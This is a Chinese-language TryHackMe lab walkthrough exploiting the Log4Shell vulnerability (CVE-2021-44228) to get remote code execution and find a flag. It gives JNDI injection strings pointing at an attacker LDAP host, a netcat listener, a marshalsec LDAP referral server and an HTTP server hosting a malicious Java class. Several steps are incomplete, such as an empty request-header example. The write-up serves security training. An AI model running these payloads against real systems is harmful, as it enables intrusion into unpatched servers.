逐步的TryHackMe演练,利用Log4Shell漏洞(CVE-2021-44228)实现远程代码执行并获取标志。
平台:TryHackMe 难度:中等 主题:Log4Shell(Log4j 漏洞)
利用 Log4j 漏洞(CVE-2021-44228)实现远程代码执行并获取旗帜(flag)。
nmap -sC -sV <TARGET_IP>
Log4j 漏洞允许 JNDI 注入:
${jndi:ldap://<ATTACKER_IP>:1389/a}
如果输入被记录 → 则存在漏洞。
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
运行 LDAP 服务器:
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
创建恶意 Java 类(Exploit.class)
将 Payload 注入易受攻击的字段:
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 使用如下请求头:
触发后:
检查:
sudo -l
查找:
find / -name flag.txt 2>/dev/null
cat flag.txt